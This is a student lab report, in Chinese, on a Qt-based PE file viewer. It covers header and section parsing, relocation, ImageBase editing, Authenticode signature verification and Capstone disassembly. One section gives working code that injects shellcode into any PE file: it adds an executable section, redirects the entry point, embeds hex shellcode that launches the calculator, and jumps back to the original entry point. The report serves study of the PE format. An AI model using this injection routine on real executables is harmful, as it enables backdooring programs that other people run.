实验报告

项目功能

1. 可以像 PEview 一样（图形界面）浏览所有 PE 结构，包括但不限于 header,section table, section。
2. 浏览 IAT、EAT、重定位表、资源节、异常表、证书表。
3. 对ImageBase字段进行修改
4. 验证 PE 文件的签名
5. 支持对任意 PE 文件进行 Shellcode 注入，shellcode 支持弹出计算器。
6. 支持代码节的反汇编

项目结构

PEViewPlus 工程结构

```
│  dialogdecompiler.cpp
│  dialogdecompiler.h
│  dialogdecompiler.ui
│  Disassembly.h
│  logo.qrc
│  main.cpp
│  mainwindow.cpp
│  mainwindow.h
│  mainwindow.ui
│  pch.h
│  pch.h.cpp
│  PE.h
│  PeInject.h
│  PEViewPlus.pro
│  treeitem.cpp
│  treeitem.h
│  treemodel.cpp
│  treemodel.h
│  ui_dialogdecompiler.h
│  ui_mainwindow.h
│  uthenticode.cpp
│  uthenticode.h
│
├─include //引用头文件
│  ├─capstone
│  │      capstone头文件
│  │
│  └─openssl
│          openssl头文件
│
├─lib //导入库文件
│  ├─x64 //64位导入库
│  │  ├─capstone
│  │  │      capstone_static.lib
```

```
│  │  │
│  │  ├─openssl
│  │  │      libcrypto_static.lib
│  │  │      openssl.lib
│  │  │
│  │  └─windows
│  │         AdvAPI32.Lib
│  │         User32.Lib
│  │         WS2_32.Lib
│  │
│  └─x86 //32位导入库
│     ├─capstone
│     │      capstone_static.lib
│     │
│     ├─openssl
│     │      libcrypto_static.lib
│     │      openssl.lib
│     │
│     └─windows
│            AdvAPI32.Lib
│            User32.Lib
│            WS2_32.Lib
│
└─pic 程序图标//程序图标
      logo.png
```

源代码文件说明

头文件

文件名	描述
mainwindow.h	主窗口
treemodel.h	treeView的model
treeitem.h	treemodel的元素
PE.h	解析PE文件，并构造界面节点
PeInject.h	shellcode中注入
pch.h	预编译头
dialogdecompiler.h	反编译头
Disassembly.h	反汇编
uthenticode.h	验证签名

代码文件

文件名	描述
main.cpp	主程序入口
mainwindow.cpp	主窗口功能实现
treeitem.cpp	
treemodel.cpp	
uthenticode.cpp	验证签名

杂项

文件名	描述
PEViewPlus.pro	项目配置文件
ui_dialogdecompiler.h	qt生成的反汇编窗口设计文件对应的头文件
ui_mainwindow.h	qt生成的主窗口设计文件对应的头文件
dialogdecompiler.ui	反汇编窗口设计文件
mainwindow.ui	主窗口设计文件
logo.qrc	项目资源文件

项目代码说明

关键结构

class PE

包含了PE文件的解析信息与显示信息

```
class PE {
public:
    QVector<Node *>nodes;

    //用文件名创建一个PE对象
    PE(QString _file)
    //修改PE文件的ImageBase
    bool changeImageBase(uint32_t newImageBase)const;
    //验证PE文件的签名
    bool verifySignature();


private:
    QString file_name;      //文件名
    size_t file_size;       //文件大小
    QStringList treeList;   //文件显示结构
    const us *content;      //文件二进制内容
    int index_section_rdata; //rdata节的节区号
```

```
    int index_reloc_table;  //reloc节的节区号
    int index_sectionEAT;   //
    PIMAGE_DOS_HEADER dos_header;           //指向DOS头的指针
    PIMAGE_NT_HEADERS32 nt_header;          //指向NT头的指针
    PIMAGE_SECTION_HEADER section_header;   //指向节表头的指针
    PIMAGE_DATA_DIRECTORY data_directory;   //指向数据目录头的指针

    //根据文件内容判断是否为PE文件，32位pe则返回32，64位pe则返回64
    static int file_isPE(const QString& file);
    //RVA地址转化为RAW地址
    uint32_t RVA2RAW(uint32_t RVA)const;
}
```

class Node

用于显示数据的节点对象

```
class Node {
public:
    QString head;       // 树形列表显示内容
    QStringList addr;   // PE地址
    QStringList data;   //该节点的数据内容
    QStringList value;  //数值的描述
    QStringList desc;   //该节点的文字描述
    bool hasDesc;       //desc描述是否有效，若为false，忽略desc成员
    bool isSubTreeNode; //是否是子树节点

    Node(QString _head, bool _hasDesc = false, bool  _isSubTreeNode = false);
};
```

class TreeItem

```
class TreeItem {
public:
    explicit TreeItem(const QVector<QVariant>& data, TreeItem* parentItem =
nullptr);

    void      appendChild(TreeItem *child);

    TreeItem* child(int row);
    int       childCount() const;
    int       columnCount() const;
    QVariant  data(int column) const;
    int       row() const;
    TreeItem* parentItem();

private:

    QVector<TreeItem *>m_childItems;
    QVector<QVariant>m_itemData;
    TreeItem *m_parentItem;
};
```

class TreeModel

```
class TreeModel : public QAbstractItemModel {
    Q_OBJECT

public:
    explicit TreeModel(const QStringList& data, QObject *parent = nullptr);

    QVariant data(const QModelIndex& index, int role) const override;
    Qt::ItemFlags flags(const QModelIndex& index) const override;
    QVariant headerData(int section, Qt::Orientation orientation, int role =
Qt::DisplayRole) const override;
    QModelIndex index(int row, int column, const QModelIndex& parent =
QModelIndex()) const override;
    QModelIndex parent(const QModelIndex& index) const override;
    int rowCount(const QModelIndex& parent = QModelIndex()) const override;
    int columnCount(const QModelIndex& parent = QModelIndex()) const override;

private:
    void setupModelData(const QStringList& lines, TreeItem *parent);
    TreeItem *rootItem;
};
```

实现思路

文件头的解析

```
// DOS HEADER
dos_header = (PIMAGE_DOS_HEADER)content;
// NT  HEADER
//根据dos_header->e_lfanew查找NT头的位置
nt_header = (PIMAGE_NT_HEADERS64)((char *)dos_header + (dos_header->e_lfanew));
//数据目录
data_directory = nt_header->OptionalHeader.DataDirectory;
//根据nt_header->FileHeader.SizeOfOptionalHeader查找节区表的位置
auto size_nt_header = sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + nt_header-
>FileHeader.SizeOfOptionalHeader;
section_header = (PIMAGE_SECTION_HEADER)((char *)nt_header + size_nt_header);
```

节区表及各个节区的解析

```
//初始化节区表的显示节点
QVector<Node *>init_section() {
    auto header = section_header;
    int  NumberOfSections = nt_header->FileHeader.NumberOfSections;
    QString name;
    QVector<Node *> ret;

    for (int i = 0; i < NumberOfSections; i++) {//遍历节区表
        name = "SECTION " + QString((char *)header->Name);
        Node *node = new Node(name, false, false);

        // 实际大小是 Misc 的 VirtualSize(但是也不一定)   SizeOfRawData文件的大小
```

```
        auto raw_offset = header->PointerToRawData;
        auto raw_size = header->SizeOfRawData;
        auto RVA_offset = header->VirtualAddress;
        //从节区表中读取信息，填充至显示节点中
        fillContent(node, raw_offset, raw_size, RVA_offset, startVA);
        header++;
        ret.push_back(node);
    }
    return ret;
}

//以.reloc节为例，获取.reloc节的节区号
int  N = nt_header->FileHeader.NumberOfSections;
    auto p = section_header;
    this->index_reloc_table = 0;

for (int i = 0; i < N; i++) {
    if ((IDR_RVA >= p->VirtualAddress) && (IDR_RVA < (p->VirtualAddress + p-
>SizeOfRawData))) {
        break;
    }
    p++;
    this->index_reloc_table++;
}
```

64位PE的支持

对于64位PE和32位PE不同的地方，使用条件编译。

```
#ifndef _WIN64
//处理32位PE的代码
#else // ifndef _WIN64
//处理64位PE的代码
#endif // ifndef _WIN64
```

这样，通过64位编译器编译的程序用于处理64位PE，通过32位编译器编译的程序用于处理32位PE。

64位PE需要注意的地方：

1. 64位PE文件的NT头应使用PIMAGE_NT_HEADERS64
2. shellcode注入时，由于64位寄存器与32位寄存器的不同，以及指针长度的不同，注入的shellcode有所不同
3. 修改ImageBase时，每一个需要重定位的数据长度为64位
4. 对于导入的capstone和openssl库，需使用64位库文件

shellcode注入

在待注入程序中新建一个节(section)，并将shellcode写入。

添加新节的步骤及关键代码如下：

1. 获取节的数目，并且将节的数目加1

```
// 初始化，定位关键结构
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(FileAddress);
PIMAGE_NT_HEADERS32 pNtHeaders = (PIMAGE_NT_HEADERS32)((DWORD)FileAddress +
pDosHeader->e_lfanew);
PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)((DWORD)pDosHeader +
pDosHeader->e_lfanew + 4);
PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)
((DWORD)pFileHeader + sizeof(IMAGE_FILE_HEADER));

WORD numberOfSections = pFileHeader->NumberOfSections;
// 获取节表数并加1
pFileHeader->NumberOfSections = pFileHeader->NumberOfSections + 1;
```

2. 添加一个新的节表头，设置节表的属性

```
// 转到新建节
pSection++;
// 设置新节的属性
memset(pSection->Name, 0, 8);
memcpy((char*)pSection->Name, ".new", 5);

pSection->Misc.VirtualSize = pOptionalHeader->FileAlignment;
pSection->VirtualAddress = NewAddressOfEntryPoint;
pSection->SizeOfRawData = pOptionalHeader->FileAlignment;
pSection->PointerToRawData = shellcodeInjectAddress;
// 可读可写可执行
pSection->Characteristics = 0xE00000E0;
```

3. 根据新加的节表头的VA地址，设置程序的入口点

```
PIMAGE_SECTION_HEADER pimageSectionHeader = (PIMAGE_SECTION_HEADER)
((DWORD)pOptionalHeader + optionHeaderSize);
PIMAGE_SECTION_HEADER pSection = pimageSectionHeader + numberOfSections - 1;
DWORD lastSectionSizeInMem;
// 判断
if (pSection->SizeOfRawData % pOptionalHeader->SectionAlignment == 0) {
    lastSectionSizeInMem = pSection->SizeOfRawData;
}
else {
    lastSectionSizeInMem = ((pSection->SizeOfRawData / pOptionalHeader-
>SectionAlignment) + 1) * pOptionalHeader->SectionAlignment;
}
// 程序入口点
DWORD NewAddressOfEntryPoint = pSection->VirtualAddress +
lastSectionSizeInMem;
pOptionalHeader->AddressOfEntryPoint = NewAddressOfEntryPoint;
```

4. 新增节表（文件末尾） 添加注入的shellcode

   32位程序下shellcode：

```
unsigned char* shell = (unsigned char*)((DWORD)FileAddress +
shellcodeInjectAddress);
char ShellCode[] =
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64\x8B\x72\x30\x8B\x76\x0
C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x3B\x78\x8B\x74\x1
F\x20\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x6
9\x6E\x45\x75\xF0\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7";
// 参考 https://github.com/peterferrie/win-exec-calc-shellcode
memcpy(shell, ShellCode, strlen(ShellCode));
shell = shell + strlen(ShellCode);
```

64位程序下shellcode：

```
unsigned char* shell = (unsigned char*)((DWORD)FileAddress +
shellcodeInjectAddress);
char ShellCode_64[] =
    "\x6A\x60\x5A\x68\x63\x61\x6C\x63\x54\x59\x48\x29\xD4\x65\x48\x8B"
    "\x32\x48\x8B\x76\x18\x48\x8B\x76\x10\x48\xAD\x48\x8B\x30\x48\x8B"
    "\x7E\x30\x03\x57\x3C\x8B\x5C\x17\x28\x8B\x74\x1F\x20\x48\x01\xFE"
    "\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x8D\x52\x02\xAD\x81\x3C\x07\x57"
    "\x69\x6E\x45\x75\xEF\x8B\x74\x1F\x1C\x48\x01\xFE\x8B\x34\xAE\x48"
    "\x01\xF7\x99\xFF\xD7";
//参考 https://github.com/peterferrie/win-exec-calc-shellcode
memcpy(shell, ShellCode_64, strlen(ShellCode_64));
shell = shell + strlen(ShellCode_64);
```

5. 在shellcode后面添加jmp指令，转到原始入口点

32位程序：

```
// shellcode后续的JMP内容
// \xE8\x00\x00\x00\x00 \x58 \x83\xE8\x4D \x2D\x00\x00\x00\x00
\x05\x00\x00\x00\x00 \xFF\xE0

// call 0x00000000;
// pop eax;
// 防止字符串被截断
memcpy(shell, "\xE8\x00\x00\x00\x00\x58", 6);
shell = shell + 6;
//sub eax,0x4d [strlen(ShellCode)+5]
unsigned char cmd_1[] = "\x83\xE8\x4D";
memcpy(shell, cmd_1, 3);
shell = shell + 3;
//sub eax,0x00000000;//
//add eax,0x00000000;//
//jmp eax;FFE0
unsigned char cmd_2[13] =
"\x2D\x00\x00\x00\x00\x05\x00\x00\x00\x00\xFF\xE0";
memcpy(cmd_2 + 1, &NewAddressOfEntryPoint, 4);
memcpy(cmd_2 + 6, &AddressOfEntryPoint, 4);
memcpy(shell, cmd_2, 12);c
```

64位程序：

```
// shellcode后续的JMP内容
```

```
// \xE8\x00\x00\x00\x00 \x58
\x48\x83\xE8\x5A\x48\x2D\x44\x33\x22\x11\x48\x05\x88\x77\x66\x55 \xFF\xE0

// CALL     0x00000000;
// POP  rax;
memcpy(shell, "\xE8\x00\x00\x00\x00\x58", 6);
shell = shell + 6;
// SUB      rax, 0x5A;
unsigned char cmd_1[] = "\x48\x83\xE8\x5A";//85+5=90  0x5a
memcpy(shell, cmd_1, 4);
shell = shell + 4;
// SUB  rax, 0x11223344;
// ADD  rax, 0x55667788;
// JMP  rax;
unsigned char cmd_2[15] =
"\x48\x2D\x44\x33\x22\x11\x48\x05\x88\x77\x66\x55\xFF\xE0";
memcpy(cmd_2 + 2, &NewAddressOfEntryPoint, 4);
memcpy(cmd_2 + 8, &addressOfEntryPoint, 4);
memcpy(shell, cmd_2, 14);
```

修改ImageBase

修改ImageBase后，需要查看检查PE是否存在重定位表。若存在，则需要对PE文件中硬编码的地址进行重定位。

1. 存在重定位表，查找需要重定位的数据

```
if (index_reloc_table != 0) {
    auto *pRelocSection = section_header + index_reloc_table;
    auto  RVAOffset = pRelocSection->VirtualAddress - pRelocSection-
>PointerToRawData;
    auto RelocTable = data_directory[5];
    PIMAGE_BASE_RELOCATION pBaseRelocation = (PIMAGE_BASE_RELOCATION)
(content + (RelocTable.VirtualAddress - RVAOffset));
}
```

2. 遍历重定位表中的各个重定位块

```
while (size < RelocTable.Size) {
    uint16_t *pTypeOffset = reinterpret_cast<uint16_t *>(pBaseRelocation) +
4;
    /*handle relocation block
     *......代码见第3点
     */
    size += pBaseRelocation->SizeOfBlock;
    pBaseRelocation = reinterpret_cast<PIMAGE_BASE_RELOCATION>
(reinterpret_cast<uint8_t*>(pBaseRelocation) +

pBaseRelocation->SizeOfBlock);
}
```

3. 遍历各个重定位块中的重定位项，将需要重定位的地址保存到数组中

```
while (blockSize < pBaseRelocation->SizeOfBlock) {
    if (*pTypeOffset != 0) {
        relocAddrs.push_back(this->RVA2RAW(getRelocRVA(pBaseRelocation->VirtualAddress, *pTypeOffset)));
    }
    pTypeOffset++;
    blockSize += 2;
}
```

4. 对保存的地址中的数据进行重定位

```
for (auto i:relocAddrs) {
    auto *pAddr = const_cast<uint64_t *>(reinterpret_cast<const uint64_t *>(newPe->content + i));
    *pAddr += newImageBase - nt_header->OptionalHeader.ImageBase;
}
```

需要注意的是，32位PE中每一项重定位数据的长度是4字节，而64位PE中每一项重定位数据的长度是8字节。

验证签名

1. 读取数据目录中的Certificate Table项

   注意：数据目录中Certificate Table的地址为RAW地址，不是RVA地址

```
auto  CertificateTable = data_directory[4];
auto* pCertificateTable = reinterpret_cast<CertificateTable*>(certificateTable);
auto* pCertificate = pCertificateTable->bCertificate;
```

2. 转化为PKCS7证书对象

```
const unsigned char* p_signature_msg = pCertificate;
BIO* p7bio;
p7bio = BIO_new_mem_buf(p_signature_msg, certLength - 8);
auto* p7 = d2i_PKCS7_bio(p7bio, nullptr);
```

3. 获取其中的SpcIndirectDataContent

```
auto* contents = p7->d.sign->contents;
OBJ_create(impl::SPC_INDIRECT_DATA_OID, NULL, NULL);
auto* spc_indir_oid_ptr = OBJ_txt2obj(impl::SPC_INDIRECT_DATA_OID, 1);
//判断是否为SpcIndirectDataContent
if (ASN1_TYPE_get(contents->d.other) != V_ASN1_SEQUENCE || OBJ_cmp(contents->type, spc_indir_oid_ptr)) {
    return false;
}
const auto* indir_data_inc_ptr = contents->d.other->value.sequence->data;
auto* indir_data = impl::d2i_Authenticode_SpcIndirectDataContent(nullptr,
&indir_data_inc_ptr,
                                                                 contents->d.other->value.sequence->length);
```

4. 取得证书

```
STACK_OF(X509)* certs = nullptr;
switch (OBJ_obj2nid(p7->type)) {
case NID_pkcs7_signed: {//证书类型应该为PKCS7_Signed_Data
    certs = p7->d.sign->cert;
    break;
    }
}
```

5. 验证证书

```
//将证书转化为DER编码
std::uint8_t* indirect_data_buf = nullptr;
auto buf_size = impl::i2d_Authenticode_SpcIndirectDataContent(indir_data,
&indirect_data_buf);
auto indirect_data_ptr = impl::OpenSSL_ptr(reinterpret_cast<char*>
(indirect_data_buf), impl::OpenSSL_free);

//通过ASN.1解码，取得其中的签名数据
const auto* signed_data_seq = reinterpret_cast<std::uint8_t*>
(indirect_data_ptr.get());
long length = 0;
int tag = 0, tag_class = 0;
ASN1_get_object(&signed_data_seq, &length, &tag, &tag_class, buf_size);

//使用PKCS7_verify验证签名数据
auto* signed_data_ptr = BIO_new_mem_buf(signed_data_seq, length);
impl::BIO_ptr signed_data(signed_data_ptr, BIO_free);

auto status = PKCS7_verify(p7, certs, nullptr, signed_data.get(), nullptr,
PKCS7_NOVERIFY);

return status == 1;
```

代码节反汇编

```
//对代码段进行反汇编
QString code_disassembly(unsigned char *code, int code_size, int start = 0) {
    csh handle;
    cs_insn *insn;

    if (cs_open(CS_ARCH_X86, CS_MODE_64, &handle)) {
    printf("ERROR: Failed to initialize engine!\n");
        exit(-1);
    }

    size_t count = cs_disasm(handle, (unsigned char *)code, code_size, start, 0,
&insn);
    string result, tmp;

    if (count) {
        for (size_t j = 0; j < count; j++) {
            char buffer[80];
            memset(buffer, 0, 80);
            sprintf_s(buffer, "%016I64X:\t%s\t%s\n", insn[j].address,
insn[j].mnemonic, insn[j].op_str);
            result.append(buffer);
```

```
        }
    } else {
        printf("ERROR: Failed to disassemble given code!\n");
        exit(-1);
    }
    cs_free(insn, count);
    return QString(QString::fromLocal8Bit(result.c_str()));
}
```